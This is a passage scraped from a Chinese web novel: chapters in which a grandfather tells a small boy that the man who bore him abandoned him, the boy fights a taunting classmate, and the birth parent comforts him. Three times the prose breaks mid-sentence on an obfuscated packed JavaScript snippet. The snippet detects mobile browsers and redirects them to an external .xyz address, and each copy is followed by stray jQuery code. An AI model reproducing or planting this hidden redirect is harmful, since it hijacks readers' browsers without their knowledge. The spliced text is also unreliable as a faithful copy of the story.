蒋兜兜上次提到小虞儿蒋西北就警惕起来,这周五蒋绍言明明有应酬却不让他去接孩子,他大概就猜到了。
当年就是他把钟虞送出国,要查钟虞的行踪并不难。蒋西北很快查到钟虞回国以及入住的酒店,他就是想去看看,没想到正好看到了父子送别的那一幕。
钟虞离开后最初那几月,看着郁郁寡欢的蒋绍言和嗷嗷哭闹的蒋兜兜,蒋西北也怀疑过自己是不是不该让钟虞走,留下会不会更好。
但之后听闻的一件事,让他这个见惯生死的西北汉子都心惊胆寒,他想,这样心狠手辣,做事不留一丝余地的人,绝对绝对不能留在蒋兜兜身边。
没了小孩子的身影,偌大的别墅愈发萧条冷清,熬到晚上,蒋西北到底没忍住,直接让司机开车去蒋绍言家里截人。
蒋兜兜跟钟虞出去玩了一天,去了动物园还吃了麦当劳,正高兴地趴在沙发上,翘着脚丫翻拍的照片,同时跟他爸谈条件,一张照片换一天不去幼儿园。
蒋绍言居高临下,黑眸冷面地盯着蒋兜兜,蒋兜兜屈服于蒋绍言的威严,又缩着脖子改口,说要不半天也行。
谁知蒋西北突然就来了。
看到蒋西北,蒋兜兜才觉得也有点想爷爷,而且钟虞第二天也有事,于是收拾收拾小背包,跟蒋西北回去了别墅。
蒋西北眉开眼笑,亲自给蒋兜兜洗澡。蒋兜兜坐在放满泡泡的浴缸里,蒋西北拿搓澡巾给他擦背,看到他胸前的红翡挂坠,越看越刺眼,没忍住,伸手就要给蒋兜兜解开,边说:“兜兜啊,咱们不戴这个了吧。这个不值钱,爷爷给你买更大的,大翡翠好不好,或者和田玉,随便你挑。”
蒋兜兜迅速躲开了,他对值不值钱没概念,他只知道这个挂坠是钟虞送他的,立刻回绝:“我不要。”
“为什么不要啊?”
“不要就是不要。”蒋兜兜说,他泡得有点闷,于是从浴缸里爬起来,要蒋西北把水放了给他冲身上的泡沫。
洗完澡上床,蒋兜兜捧着小手机一直看,他的画已经误打误撞送出去了,钟虞很喜欢,蒋兜兜又琢磨给钟虞买件礼物,以及最重要的,他怎么才能跟钟虞亲亲。
蒋西北还在跟他说挂坠的事,蒋兜兜有些烦,看着他说:“爷爷你好烦啊,我不要换其他的,我就要这个,这是小虞儿留给我的。”
蒋西北脸色顿时冷下来:“小虞儿是谁?什么是他留给你的?”
蒋兜兜有些吓到,他从没见过蒋西北用这么冷的声音跟他说话,他不明白蒋西北为什么突然变了脸色:“干嘛啊爷爷,小虞儿就是小虞儿啊,他就是我妈妈。”
蒋西北陡然间眼前一黑,撑着拐杖才勉强站稳:“什么你妈妈?!女人才能生孩子,男的怎么生?他是男的,怎么可能是你妈?”
蒋兜兜愣了愣,很快从床上跳起来,跟蒋西北视线齐平,反驳说:“你说得不对!老师说过小朋友都是从妈妈肚子里出来的!我就是从小虞儿肚子里出来的,我见过照片,小虞儿肚子那么大,里面就是我!”
“你哪儿来照片?”蒋西北难掩震惊,“是不是你爸给你看的?”
蒋兜兜觉得今天蒋西北特别不对劲,叫他有些害怕,他跑到床的另一边跳下去,鞋都不穿就往外跑:“我要回家,我要去找小虞儿,爷爷是大坏蛋!”
蒋西北差点肝胆俱裂,自己一把屎一把尿带大的孩子竟然不要他要去找别人,他也是气极了,一把将蒋兜兜拉住。
“他当初刚把你生下来就不要你了,他连看都不看你就走了,你现在还去找他?”
蒋西北没控制住力道,蒋兜兜被他拉得踉跄了一下,刚要发脾气,闻言愣了愣,瞪着蒋西北大喊:“你骗人!”
蒋西北厉声说:“爷爷怎么会骗你?要不然为什么他这么多年不回来,他根本就不想要你!还有他留下的这什么破东西,以后不许再戴!”
蒋兜兜呆了呆,一下坐在地上,哇地大哭起来。
*
周一一早。
刚到幼儿园,吴瑞就发现蒋兜兜心情不太好,不是不太好,而是非常不好。
脸绷得死紧,上课走神被外教老师点起来回答问题却一言不发,下课后去厕所,走廊遇到班里一个爱欺负人的大块头,故意撞了一下吴瑞的肩膀,而吴瑞往旁边躲的时候不小心踩到了蒋兜兜的小白鞋。
蒋兜兜立刻垮脸,冷冷地盯着那大块头:“那么大地方不走,你眼瞎?”
吴瑞紧张地拉住蒋兜兜,生怕两人打起来,幸好这时打上课铃。
下一节美术课,蒋兜兜前两周上课很专注,今天却心不在焉,铅笔在纸上烦躁地涂画,把纸都戳出了窟窿眼。吴瑞拿眼角偷瞥他,他记得周五放学的时候蒋兜兜明明还很高兴,说要去找他妈,蒋兜兜还跟他说他生病了,他妈妈真的就对他很好。
吴瑞当时就说:“是吧是吧,生病了的话妈妈就会变得很温柔!”
之后蒋兜兜又把酸奶给他喝,吴瑞边喝奶边问:“那你给你妈妈买口红了吗?”
蒋兜兜说还没有,吴瑞催他快买:“我妈可喜欢了,你要是给你妈妈买她肯定也喜欢。”
蒋兜兜对口红没概念,吴瑞就边在嘴上比划边给他解释:“涂嘴巴上的,涂完了红红的特别好看。”
蒋兜兜眼前一亮,特别好看?钟虞已经很好看了,那要是再涂上口红得多好看啊?他当即表示知道知道,然后在待办事项里迅速列上给钟虞买口红。
不过一个周末过去,吴瑞不明白蒋兜兜为什么心情这么差。
下午活动课,老师先安排集体做小游戏,剩下十分钟让小朋友们自由活动。
蒋兜兜不想活动,也不爱往人堆里扎,独自坐在沙坑边的一个台阶上。吴瑞挨在他旁边,不过不敢离得太近。
沙坑边围了四五个小孩,一个接一个跳着玩,剩下的聚一起,讨论周末去哪儿玩了,吃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439977|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么好吃的,为首最大声那个就是之前撞吴瑞肩膀的大块头,叫言语寒。
言语寒大声说自己去郊区农家乐玩,他家换了一辆刚上市的最新款七座商务车,空间超大坐得超级舒服,座椅还带按摩,还说马上圣诞节假期,他爸还要带他去埃及玩一趟。
蒋兜兜嫌吵,拧着眉往那边看了一眼。
言语寒正沉浸在周围人羡慕的眼神里,注意到蒋兜兜鄙视的目光,冷下脸,盯着蒋兜兜看了一会儿。他不敢拿蒋兜兜怎么样,只能把气撒到吴瑞身上,冲吴瑞喊:“那个谁说你呢,过来啊,老师叫自由活动你为什么在那儿坐着?过来跟我们一起跳沙坑。”
吴瑞缩起脖子,他可不敢去,以前他还以为言语寒真这么好心,喊他一起玩,结果他刚站到沙坑边上就被人从背后一把推进去,整个人没有防备地直直摔进沙坑里,身上脸上全是沙子,幸好他闭紧嘴,要不嘴里也有。
他爬起来,就看到一群人在旁边大笑,言语寒笑得最开心。
之后他就明白,他们才没那么好心,根本就是骗他去耍他玩。
而且言语寒很聪明,推进沙坑又不会受伤,顶多衣服弄脏点,老师要是问起就说大家一起玩没注意。
幼儿园自有条隐形的鄙视链,在这样的私立学校尤甚,吴瑞家跟言语寒家有生意往来,不过是下游供应商,得看人脸色吃饭,吴瑞跟他妈说过几次,他妈妈也没办法,让他忍忍,尽量不要起冲突,能躲就躲着点。
这也是吴瑞喜欢跟蒋兜兜待在一起的原因,蒋兜兜家的公司最大,他爸最有钱,但蒋兜兜从来不欺负人,他顶多心情不好会不理你,而且好多次看到吴瑞被欺负还会替他出头。
言语寒见吴瑞不去,直接走过来扯他衣服,吴瑞怕得直往旁边躲:“我不去我不去。”
蒋兜兜原本心情就差,除了在钟虞面前是只乖乖小猫咪,其他时候根本是个一点就着的火药桶,见状更是烦得要死,站起来去推言语寒,嘴上说道:“你不仅瞎还聋吗,他说不去没听见?”
言语寒被推得往后趔趄,就听身后传来一阵笑,顿时觉得特没面子,也跟蒋兜兜杠上了。
“你拽什么?不就因为你爸你才这么拽,谁不知道你是你爸在外面偷偷生的,你连妈都没有你拽什么?”
蒋兜兜眼睛当时就瞪圆了,眼里几乎要滋出火星来:“谁跟你说我没妈?”
言语寒也是听他爸妈在饭桌上八卦,见蒋兜兜反应这么大,得意道:“被我说中了吧,你就没有,你连妈都没有你真可怜!”
蒋兜兜浑身都在抖,两只拳头紧紧捏住,手背上紫色的筋都绷出来了,一字一字说道:“我、有、妈、妈!”
“你妈在哪儿呢?”言语寒说,“你就算有妈也是有妈生没妈养,还是一样可怜!”
轰地一声,蒋兜兜全身血液刹时朝头顶涌去,忍无可忍就无需再忍,一把拽起言语寒的衣领将他往后推,推到沙坑边一把摔了进去。
边上的同学惊呆了,谁都不知道蒋兜兜怎么会有这么大力气,蒋兜兜骑在言语寒身上,双手压着言语寒的脖子用力往下按,按得对方满头满脸全是沙。
蒋兜兜说:“这么喜欢叫别人吃沙子,你自己也好好尝尝什么味儿!”
直到老师赶来,才把气疯了的蒋兜兜从言语寒身上拉开,随后立刻通知双方家长。
言家母亲先赶来,看着面红耳赤哇哇大哭的儿子,心疼得不行,一定要学校给说法,要让蒋兜兜这样恶劣欺负别人的小孩道歉,赔偿,退学!
蒋兜兜孤身一人站在园长办公室,看对面居中调停让他道歉的老师,看气急败坏破口大骂的家长,看除了吃进点沙子一点破事没有、正冲他得意洋洋抬下巴的言语寒,冷笑一声:“让我道歉,没这可能!我打你就打你了,怎么了?你们家不就是个开酒店的吗,你知不知道我爸动动手指就能让你家破产?”
这句话是蒋西北跟他说的,蒋西北当时跟他说,如果有谁在幼儿园欺负他,就让他这么说。
“咱们蒋家的男人不惹事,但也绝对不能怕事!谁要是欺负你,你给我打回去,以牙还牙以眼还眼,天塌了爷爷给你撑腰!我倒要看谁敢欺负我孙子,我让他们破产!”
想起蒋西北,蒋兜兜不免又想起蒋西北说的“他不要你,他把你生下来之后连看都不看你,我就没见过像他那么狠心的人!”。
蒋绍言进来正好听到破产这一句,再看蒋兜兜,小崽子不知为何眼底突然全是泪,然而倔强地握紧拳头,愣是一滴也不让落下。
21.为什么
蒋绍言脚步在那一刻停顿,很快走进去。
他平静地听完老师的陈述和对方家长的控诉,不置一言,而是提出跟蒋兜兜单独说几句话。
言母见来的是个这么帅的男人,也不好意思大吵大闹,跟园长对视一眼后勉强同意了。
晚霞铺天,时间已过五点,幼儿园早就放学,人都走光了,蒋绍言带蒋兜兜去到了楼下操场,站在篮球架底下。
蒋兜兜已经把眼泪强忍了回去,这会儿看不出一点曾经要哭的迹象,小身板挺得笔直,脸绷得死紧,梗着脖子不开口。
蒋绍言面无表情看他一会儿,问:“为什么打人?”
语气还算平静,蒋兜兜垂眼盯着水泥地面,还是那句硬邦邦的:“你管我,我就是打了,怎么样?”
蒋绍言沉默不语。
蒋兜兜撂完狠话,心里也忐忑,怕蒋绍言揍他,蒋绍言从小就跟他说不能跟人动手,他知道他不该动手,但打都打了,想让他认错,那不可能!那是言语寒欠揍!
他恨不得撕烂对方那张嘴!
巴掌没有如料想般落下,蒋兜兜有些诧异,飞快撩起眼皮看了蒋绍言一眼,正对上蒋绍言的视线,深如幽潭,情绪难辨,不知道在想什么。
蒋绍言在想刚才的事。
刚才在学校门口,蒋绍言遇到了吴瑞。吴瑞只见过他一次竟然认得,或许蒋绍言跟蒋兜兜长得像,或许蒋绍言的长相气场叫人难忘。
吴瑞还记得那次是学校组织的亲子运动会,蒋绍言身材高,单只手就把那么大的篮球一下抓起来,吴瑞觉得他特帅特酷,看上去好让人有安全感。
吴瑞叫住蒋绍言,结结巴巴话都说不利索,急得差点哭了。蒋绍言也认得他,蹲在地上叫他不着急慢慢说。吴瑞这才把活动课上发生的事说了一遍,当时蒋绍言便明白了蒋兜兜动手的原因。
就在前一天,周日一大早,蒋兜兜连早饭都没吃就从蒋西北那儿回来了,之后就把自己关在房间不肯出来,再加上今天这一出,蒋绍言立刻猜到,肯定是蒋西北跟他说了什么,而且跟钟虞有关。
光线逐渐暗沉,父子两个相对无话,直到手机铃声打破沉寂。
蒋绍言低头看了一眼,屏幕上显示“宝宝”来电,他目光不自觉变得柔和,把屏幕亮给蒋兜兜看,同时说:“你的小虞儿打电话来了,你希望我怎么说?这件事要不要告诉他?”
蒋兜兜立刻用眼睛瞪他,第一反应就是这件事绝对不能让钟虞知道,如果让钟虞知道他打同学,那他乖巧可爱的形象不就全毁了?
蒋兜兜伸手就要去夺手机,蒋绍言轻易闪开:“不想我接?为什么?”
蒋兜兜眼睛又隐隐发红,死死瞪着蒋绍言,发狠的眼神分明在说“你明知故问”!
铃声还在不停响,一声声的催得人心脏发紧,也传递着打电话的人有多焦急。
蒋绍言不想钟虞担心,还是决定先接,接之前给蒋兜兜一个不许闹的眼神,接通后用堪称柔和的语气说:“对,他跟我在一起,今天有点事耽搁了,没出什么事。这样吧,我待会儿再回给你,等我五分钟。”
挂了电话,父子两人又对视一阵,蒋兜兜哼道:“你别以为你不告诉他我就会去道歉,我知道你要说什么,打人是我不对,但那是他欠揍!我没有错。如果我没有错你还要叫我跟人道歉,那就是你没本事。”
好一招先发制人。
蒋绍言真是想笑,怀疑蒋西北是不是也给这小孩讲过兵法,怎么用起来一套一套。再度无声对视数秒钟,蒋绍言看着那双倔强不服气的眼睛,用平静的语调说:“你不用道歉,这件事我会解决。”
蒋兜兜哼了一声,扭头面朝篮球架,留给蒋绍言一个孤决的侧影。
是的,孤单,决绝。
一瞬间,蒋绍言就想起了曾经的钟虞。
压下心头的酸楚,蒋绍言想了想,在蒋兜兜面前半蹲下,用平视的姿态面对他说:“我不知道你今天怎么了,但是我想跟你说,有疑问不要憋着,直面问题开诚布公才是最好的解决方法。想见他还是不想见他,想不想让他知道今天的事,你自己决定。”
说完蒋绍言看一眼时间,正好过五分钟,他给钟虞回拨过去,说两句就让蒋兜兜接。
蒋兜兜拿着手机慢吞吞走到篮筐底下,一手扒着篮球架,手指盖儿扣上面的漆。他背对着蒋绍言,蒋绍言看不到他的脸,也不知道小崽子都跟钟虞说什么,只是看到他把那只手收回去,然后用力地抹了好几下眼睛。
*
钟虞今天莫名地心绪不宁。
他知道幼儿园四点放学,从四点就开始等蒋兜兜的电话,等到五点还不见蒋兜兜给他打,干脆先打给了蒋兜兜。
电话拨出去,可惜宝贝兜兜一直不接,钟虞难免心焦,这才打给蒋绍言。
听蒋绍言四平八稳地说没事,钟虞松一口气,但蒋绍言说让他等五分钟,他便意识到还是有事发生。
这五分钟足够钟虞看完一份法律合同,但他什么也没做,握着手机枯坐在办公室,铃声刚一响就接了,蒋绍言说了两句,那边就换成了蒋兜兜。
“兜兜?”
蒋兜兜没说话。
“怎么了兜兜?”钟虞继续问,“你在听吗?”
蒋兜兜还是不说话。
钟虞知道他在听,因为他听到了小孩明显粗重的呼吸,这副明显有事的样子让他的心脏不受控制地揪紧,发疼,他便也沉默。
蒋兜兜的眼睛在听到钟虞声音的那一刻就又红了,他咬紧嘴唇,努力不叫自己哭出来。他好矛盾,他本能地想靠近钟虞,但总会忍不住想起蒋西北的话——钟虞那时候真的是不要他吗,所以这些年才会不在。
他真的连看都没看他一眼吗?
蒋兜兜听人说,刚生下来的孩子都很丑,皱巴巴像小老头,是不是他那时候也很丑,钟虞才不看他,否则他想不出还有其他原因。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456601|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
为什么呢!
为什么呢?
为什么呢……
蒋绍言说这个世界没有比钟虞更爱他的人,这话他牢牢记着,但蒋西北又说钟虞心狠,根本不想要他。
大人们各有说法,他到底该听谁的,到底该信谁的?
所以言语寒的那句恶语“有妈生没妈养”才格外伤人。
蒋兜兜面对谁都没掉的那滴眼泪,在听到钟虞的声音之后终于忍不住,晶莹的泪珠顺着稚嫩的面庞滚落,流到下巴上才被他草草抹去。
然而更多的眼泪却汹涌而至。
钟虞的声音好像一个开关,叫他这两天来所有委屈、难过、忐忑、不解,如洪水般通通倾泻而出。
钟虞听到了电话那头小孩的哭声,先是压抑的哭,接着变小声抽泣,他静静地听,等反应过来的时候,他自己的眼睛也湿了。
不想叫律所其他人看到,钟虞站起来走到窗边,面朝着窗户看向外头。
黑夜正无情地降临整座城市,钟虞眼眶湿润,闭了闭眼。
直到蒋兜兜哭声渐小,钟虞才开口:“我现在去找你可以吗?”
那头蒋兜兜点头,意识到钟虞看不见,才哑着嗓子小声说:“可以。”
钟虞说:“把电话给你爸爸。”
蒋兜兜用衣袖抹了一把脸,转身走到蒋绍言跟前把手机塞给他,又走回篮球架下,这回他蹲下来,手臂环抱膝盖,头埋了进去。
蒋绍言看着那小小的人影,夕阳最后的光把蒋兜兜的影子投在地上,那样小小的一团。
钟虞问:“你们在哪儿?”
蒋绍言敏锐听出钟虞掩藏在平静语气之下的不平静,说:“在他幼儿园。”
“地址发我,我现在过去。”
律所和幼儿园方向相反,一东一西,现在晚高峰,蒋绍言估算,钟虞赶来起码一小时起步。他并不打算在幼儿园多逗留,打算先带蒋兜兜回家,到熟悉的环境小崽子的情绪也能平复些。
当然,蒋绍言也是存了私心,他跟钟虞一说,那头沉默了几秒,很快做出取舍,说:“那请把你房子地址发给我。”
蒋绍言说好,挂上电话立刻将地址编一条信息发过去,之后又打电话联系柏萧红。柏萧红所在的金权律所负责蒋绍言公司法务,也会处理蒋绍言私人的法律事宜。
蒋绍言言简意赅说明情况,请柏萧红立刻着手处理此事,最后用足够让蒋兜兜听清的声量说:“道歉绝不可能,对于恶意用言语攻击他人而造成的精神损失,我们保留追责的权利,不服的话就叫他们法庭见。”
蒋兜兜说得对,明明没错却要他道歉,那就是他这个当爹的最大的无能。
蒋绍言的视线始终没离开蒋兜兜,他观察着,发现蒋兜兜耳朵动了一下,明显听到了他的话。
挂掉电话,蒋绍言走过去,弯下腰,抬手在蒋兜兜头顶轻轻按了按,说:“好了起来吧,爸爸带你回家。”
22.小黄鸭
收到信息后钟虞即刻离开律所,飞快下楼,在路边拦了一辆出租车。
坐在车上,他又把蒋绍言发来的地址看了一遍,确认了并非当初蒋绍言为方便他去学校而在岚大附近租的那一间房子。
钟虞悄然松了口气,又暗叹自己想太多,那间房子本就是租的,八十平米的两室一厅,他离开后蒋绍言必定不会继续住,何况以蒋绍言的身家,也不可能住那么小的房子。
晚高峰车多难行,钟虞惦记蒋兜兜,一再按捺,中途还是忍不住说了两次请司机开快点。
快到的时候他接到蒋绍言电话,蒋绍言问他到哪儿了。
钟虞目光往车窗外扫,正好看到一间繁华商场,便告诉了蒋绍言商场的名字。
蒋绍言略一沉吟,说:“那快了,我去门口接你。”
钟虞刚想说不,电话那头紧接着传来似乎是关门的响声,他便把那个字咽了回去。
出租车开到小区,蒋绍言果然已经站在门口,钟虞付钱下车,快步走过去。
到近前,两人对视一眼,钟虞问:“兜兜呢?”
蒋绍言说:“先进去吧,边走边说。”
钟虞点头,跟在蒋绍言身后走进小区,小区环境相当不错,绿树草坪鱼池喷泉,但他无心欣赏,又问:“到底怎么回事?”
蒋绍言把幼儿园的事跟他说了。
这是蒋绍言和蒋兜兜在回家路上达成的共识。蒋兜兜坐在车里,双手抱臂形容严肃地仔细想了想,今天明明就是他委屈,得让钟虞知道啊,况且蒋绍言说得对,他既然不知道该相信谁,那不如谁都不信,他要直接问钟虞。
于是蒋兜兜就哼哼唧唧别别扭扭地让蒋绍言把发生的事透露给钟虞,因为他自己不好意思讲。蒋绍言当时不客气地问他:“你骑在别人身上把人按进沙坑里吃沙子这部分也要说吗?”
蒋兜兜气得斜他爸一眼:“你就不能美化一点?”
就这还大老板?
得,还倒打一耙。
于是提到这部分时,蒋绍言便一语带过,只说蒋兜兜“跟同学发生了点口角”。
钟虞听完沉默。
小区里没几栋楼,蒋绍言带钟虞走进中间那一栋,穿过大厅,进电梯,按下了顶层。
电梯攀升,蒋绍言仗着身高优势无声地在侧面打量着钟虞,视线滑过他的眉眼鼻梁,目光轻柔,像是怕惊动什么。
而钟虞沉浸思绪之中,并未察觉。
电梯是一梯一户,到门口,蒋绍言走在前头开锁,进去后将一双早就备好的棉拖鞋拿给钟虞。
看到鞋面上的小黄鸭图案,钟虞愣了愣,一瞬间脑海中闪过无数画面来,他下意识朝蒋绍言看去。
视线再度交缠,蒋绍言面色平静,仿若无事,弯腰将那双拖鞋搁在钟虞脚边,接着直起身,看向二楼某个紧闭的房间说道:“他在楼上自己卧室,左手边第一间,你去吧。”
时间有限,钟虞来不及多想,脱掉皮鞋踩进了那双柔软的拖鞋里,但那一瞬间还是叫他产生了一丝异样的感觉来。
他穿过客厅,踏上楼梯,走到一半时停下,突然间生出了从未有过的怯意和犹豫,于是连自己都没察觉地回头,下意识就去寻找蒋绍言,仿佛寻求某种安心和支持。
蒋绍言站在客厅,目光一直没有离开钟虞,见钟虞回头,在视线交汇的那一刻,无需多言他便明白了,温声说:“去吧,他在等你。”
钟虞转过头,定定心神,继续往上走。
蒋兜兜房门关着,他走到门口抬手在门上敲了敲,静待一小会儿,里头才传出一句“请进”。
钟虞推开门,就见蒋兜兜正坐在床沿,抬头看他一眼又低下头,垂在身侧的双手揪着床单。
钟虞站在门口顿了顿,走进去,轻轻将门在身后关上。他缓步走到蒋兜兜面前,再一次看到了蒋兜兜头顶那两个发旋,过了一会儿蹲下身,单膝跪在小孩面前的地板上。
蒋兜兜有些紧张也有些不安,他不知道钟虞听到幼儿园的事情后会是什么反应,就见钟虞将他上上下下看了一遍,然后问他疼不疼。
蒋兜兜愣了。
以为小孩没听清,钟虞重复:“疼吗?”声音很轻。
虽然蒋绍言说得轻描淡写,只是“一点口角”,但都被找家长了,可见事态绝没那么简单,钟虞推断,蒋兜兜很可能是跟人打架了。
打架自然可能受伤,若严重蒋绍言一定会带去医院,没有就说明没受伤或者不严重,但钟虞还是忍不住问他疼不疼。
蒋兜兜眼睛立刻红了,扁着嘴小声说:“疼。”心里疼怎么不是疼?他都快疼死了。
钟虞眼睛便也红了,抬手在蒋兜兜细嫩的脸蛋上摸了摸。事到如今,有些问题是回避不了了,今天发生的事就像一柄利剑,将所有的隐晦模糊一举捅破。
蒋绍言那句“你以什么身份在关心他”言犹在耳,钟虞顿了顿,猜蒋兜兜大约也憋了一肚子话想问,干脆说:“你想知道什么?”
地板又凉又硬又硌人,蒋兜兜看着钟虞抵在地板上的膝盖,用力把他拉起来,钟虞便顺势起身,任蒋兜兜把他拉到床上,面对面地坐着。
默默对视了片刻,蒋兜兜小心地问:“我是你生的吗?”
“是。”钟虞答得毫不迟疑,干净利落。
蒋兜兜眼睛立刻睁圆了,最重要的问题得到确认,他感到心里踏实一半,随后又想起蒋西北的话:“但我爷爷说女人才能生孩子,男的不能。”
听到“爷爷”两字,钟虞眼中闪过一抹暗色,很快就恢复如常,他平静地回答蒋兜兜:“男人也可以,但只是极少数,我也是我爸爸生的。”
听完这话,蒋兜兜整张面庞瞬间亮了,那双黑色的圆眼尤其明亮,闪着灼人的光芒,他扑上去紧紧抱住钟虞,头埋在钟虞怀中,说了一句“你果然就是我……”
后面两个字含含糊糊,钟虞没听清,但大概也能猜到,小孩说的是“你果然就是我妈妈”。
爸爸还是妈妈,称呼对钟虞来说只是个代名词,他并无所谓,但在这一刻心脏还是不免被牵扯,产生了丝丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464608|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缕缕的麻意。
同时他也知道,这个问题只是个开始。
果然,蒋兜兜很快直起身坐好,看他一会儿,继续紧张地问:“那你生下我以后为什么要走?”
这一回钟虞沉默了许久,才说:“我有必须要走的理由。”
这个回答或许并不能叫蒋兜兜满意,但钟虞不知道该如何跟他说。
蒋兜兜太小,而当时的情况实在太复杂,太复杂。不甘放弃的学业前程,至亲之人的出卖背叛,还有不怀好意虎视眈眈的豺狼鬣狗……
最重要的是蒋绍言的包容与温柔,叫他无法面对,无地自容,甚至无法不心动,然而越是心动,就越叫他感到自我厌恶。
深深的自我厌恶。
所有这一切都逼得他不得不走。
听了这话,蒋兜兜如料想般拧起细眉,问的却是钟虞意料之外的问题:“所以你不是因为讨厌我?”
钟虞一愣:“我为什么讨厌你?”
“因为爷爷说你把我生下来看都没看我。”
钟虞凝滞了好几秒,半晌,艰难地空咽一口唾液。蒋兜兜说的没错,他把小孩生下来之后的确没看过,蒋西北劝他看,蒋绍言也无声地站在床边,虽然什么都没说但他知道蒋绍言也希望他看一眼,但最后还是尊重他的意思,让人把孩子抱走了。
为什么不看呢?钟虞想,大概所有人都觉得他是因为心怀恨意,所以才心狠地一眼都不肯看。
包括他自己也一直这样说服自己。
眼底有涩意上涌,钟虞强迫自己露出笑容,他看着蒋兜兜的眼睛,那样明亮那样清澈,充满了爱意和期盼,他决定对自己也对蒋兜兜诚实一回。
“因为我怕看到你我就舍不得走了。”钟虞说着,再次抬手抚摸蒋兜兜的脸颊,声音轻得仿佛随时都要破碎。
他说:“你长得这样可爱,谁会舍得丢下你呢?”
蒋兜兜许久没动,像是忘记反应,眼睛直勾勾盯着钟虞,突然间一把抱住他,紧接着哇一声,大哭出来。
他边哭还边说着什么,断断续续抽抽噎噎颠来倒去,但钟虞还是听懂了。
蒋兜兜问他:“所以你是爱我的?”
爱吗?
钟虞回想当初怀着蒋兜兜的那段时间,初期时的无措迷茫,第一次胎动时的惊喜,危险到来时下意识的保护,直到最后生产时医生说情况危险让他有心理准备。
他那时甚至没有思考,脱口而出:“请保护我的孩子。”
是啊,无论最初的目的是什么,这是他的孩子,怎么可能不爱?
“我当然爱你,兜兜,我爱你。”
钟虞说着将怀里的小人紧紧搂住,感到自己的眼睛湿了,眼泪在眶里打转,直到再无法承受,有一滴落下,顺着脸颊流进嘴里。
滋味苦涩,伴着蒋兜兜撕心裂肺的哭声,钟虞肝肠寸断,忍不住闭上眼,任泪水汹涌而出。
几步之距的房门外,蒋绍言站在走廊上,听着门里面最爱的两个人的哭声,也轻轻地闭上了眼睛。
23.冥冥中
直到月上中天,钟虞才从蒋兜兜房间里出来。
轻轻关上门,在走廊站了片刻,做几下深呼吸,又抬手拭了拭眼睛,直到胸腔激荡的情绪逐渐抚平,钟虞才从楼梯走下去。
复式公寓安静无声,楼下有光,没那么亮,正好足够钟虞看清脚下台阶。他慢慢地一步一个台阶往下,行至一半才发现客厅沙发坐着个人,脚步微微一顿。
听到动静,蒋绍言抬头朝他看来,视线交错的那刻,钟虞只庆幸灯光没那么亮,他不知道蒋绍言是故意为之还是巧合,只开了一盏灯,但他一点也不想让对方看到自己通红的眼睛。
钟虞收回视线,继续往下走,下到最后一级台阶时听蒋绍言问:“兜兜睡着了?”
“嗯。”钟虞答,简单一个音也足以让蒋绍言听出沙哑。
茶几上的水壶里一直温着水,水温正好喝,蒋绍言倒一杯,起身走到钟虞面前递过去:“喝点水吧,秋天比较干。”
这个理由太体贴,钟虞没拒绝,接过那杯水,水温透过玻璃杯壁传递,恰到好处地缓解了手指的冰凉和僵硬。钟虞低头喝一口,喉咙立刻感到滋润,他突然想,蒋绍言就好像这杯温水,六年过去,依旧那么体贴,润物无声。
客厅静下来,钟虞抬眼,落地玻璃外弥漫着沉郁的夜。蒋绍言把水递给他之后就同他擦身而过上了楼,似乎是想把空间单独留给他。
直到钟虞喝完那杯水,眼睛不再那么红,情绪也完全平复,蒋绍言才又从楼上下来,手中多一本厚重的东西。
钟虞定睛看去,似乎是本相册。
蒋绍言的话证实了他的猜测:“这里面是兜兜从小到大拍的照片,我想你可能会想要看看。”
钟虞已经完全恢复了往日淡然甚至有些冷漠的表情,看了蒋绍言两秒:“谢谢。”
蒋绍言把相册递过去,用眼神示意他自便。
钟虞接过相册,随后犹豫了一下。客厅里有一张长沙发,旁边还有个单人沙发,然而单人沙发是主人位,非邀请不入座,所以钟虞思索之下坐在了长沙发靠单人沙发的那一头。
坐下之后他便开始翻相册,从第一页的第一张开始,那时蒋兜兜应该刚出生,胖乎乎的身子裹在包被里,嘴里裹着手指,一脸的懵懂可爱。
蒋绍言站在旁边适时添加注解:“这张是满月。”
钟虞听到了,抬头朝他看,蒋绍言便顺势坐下,没坐那张单人沙发,而是也坐在长沙发上,不过同钟虞还隔一定距离,能看到相册,同时不会叫钟虞感到不自在。
蒋绍言时机、分寸都拿捏得刚好,钟虞果然没有表现出不适,继续低头翻相册。
蒋绍言一起看,但其实注意力更多在看相册的那人身上,他并非每张都说话,只有当钟虞视线停留得长了才会开口,简单介绍拍照的背景,把更多时间留给钟虞自己。
钟虞一页一页地翻,一张一张地看,翻到中间某页,是蒋兜兜趴在鱼池边的一张背影,距离有些远,像是抓拍,他有些好奇:“这是什么时候拍的?”
